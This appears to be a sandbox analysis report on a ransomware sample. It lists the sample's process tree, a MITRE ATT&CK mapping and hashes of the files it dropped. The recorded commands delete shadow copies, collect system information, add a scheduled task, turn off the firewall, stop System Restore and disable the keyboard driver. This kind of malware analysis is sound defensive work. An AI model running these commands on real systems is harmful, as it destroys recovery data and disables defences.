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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2976
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:328
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:2044
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:272 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3060
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1284 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2440
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:104 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:2516
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3780 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:580
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1240
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4972
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:2476
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:2408
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4680
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1172
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:3892
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2496
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:1640
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:3720
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a0e855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1752
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C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe1⤵PID:2232
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1616
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 2047a2e065c844c6e5f37dbceea8b6e922130d9b9403af2554f9c563c1f60a6d
- MD5 e57a73307a32e3e3d960ea44845d6b13
- SHA1 b4bdc6251fa9195dc17bcb2bb2cd945534a8c463
- SHA512 6daebc03332bdb4903cb53879e31d1c4fb50788f050bbaa72b435c04c8d0c5387712d60a5efee63319325799db40a00d2a7e7e09b4ee561dbe3eb5decbe39f0d
- SSDEEP 1536:I2Rveo0zwn1+7cRMa3EJduEYDqMEVONIWoqojXQQdGU4I13VxDd8E1e3q:IgvQzwnA81EHYDHw5XQQoRIJVxDd8E1V
- TLSH T1DB632B334A23FCC5677F3D40F1543D821C883A678775A66CFBC90A9538A5688EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 4ccbc8a8f2bac25a33a414a3079e5f9abf0b24404cd880d828488f50bcf2887e
- MD5 a7bede879e38b6be1f882bb986ab3b83
- SHA1 e0c723110d84ee88d1898992fa51695178dd170c
- SHA512 ef504270625e4a64aee5247686c88ec623b0811dfb50d6d1cd159aa6e67ec6f83d3348bc6629fbebb6f04d28797c9eb7b9620bec6e05e9a61fe75d179dcc55a8
- SSDEEP 1536:o2Rveo0zwn1+7cRMa3EJduEYDqMEVONIWoqojXQQdGU4I13VxDd8E1e3d:ogvQzwnA81EHYDHw5XQQoRIJVxDd8E10
- TLSH T1C3632B734A23FCC5677F3D40F1542D820C883A678775A66CFBC90A9538B5688EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\drwn.io_hyber.exe.log
- Size 660B
- SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
- MD5 284393596fdd49bebd7b861bf339b82d
- SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
- SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
- TLSH T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zbnkqdfm.cxg.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 238B
- SHA256 0b71fbb1b19bdb3ed699d6bf39397524a2175e1314612e101bc3e040ac680c6a
- MD5 f8271c8d4c8b670e13209b7b5afb3e20
- SHA1 4db9a3e5f9d1e0585d4c00bb60891af7d3f56d00
- SHA512 7da9a69c13c1a45951f34821ed6a0d8d516e194b59516866b4348f51e707b12885986a4b486453bac4c876f59b125ab80bed2d708693798652b21d4f97d75e80
- TLSH T1D8D0A78BB14DC7A90011223B81F3CE9DE9A548693B57BE704AA5DD4E32908C589F7543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 239B
- SHA256 4c265e4b421555710c9e940f03ed2254ea186bfb371e4ea30cf7897968f30ebe
- MD5 1ad99d54287947cb5efe339ed10178a8
- SHA1 b22ea5776852842be10bbe5eaed8eb64599e50c7
- SHA512 54ba186f05213265d0ac416bdca09a7edeb1e903daa874522b56eed4c98a570698a4116eaee81468bcf78920b435a4c07c1ebd6119a23f85b1ef4ebfae736334
- TLSH T129D0A78BB14DC7A90011223B80F3CE9DEAE149693B57BE709AA5DD4E328088589F7543
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 e5426c8c7651aef7c4d65aaeb958e79080c0982250587c8959a5f71b23c70a34
- MD5 fa15d39619ce3428fc430cf9890e2a4b
- SHA1 e3e6fe6614c671ca61ce78ad6719b24e7ea19603
- SHA512 6427e8c2c99dc9328e8c77ee696c255ec6e65423c66d43c5fe6829a9c220664dd0a47c5485d383d713801d88709f8ec451c8eb6b67f5fa2d3ca35d2d6f73654d
- SSDEEP 768:crVZZ6zs0hpTbkZn+qf/NKPzfX/fmZ4C:KZ6Hh1bkpXfGP/fmZ4C
- TLSH T19133F74937ED4526E1BF8EBE89B291119731F4539C23D79E0AD8459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH